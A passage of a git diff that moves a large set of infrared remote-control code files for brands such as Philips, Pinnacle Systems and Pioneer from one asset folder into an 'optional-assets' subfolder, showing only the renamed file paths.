assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD 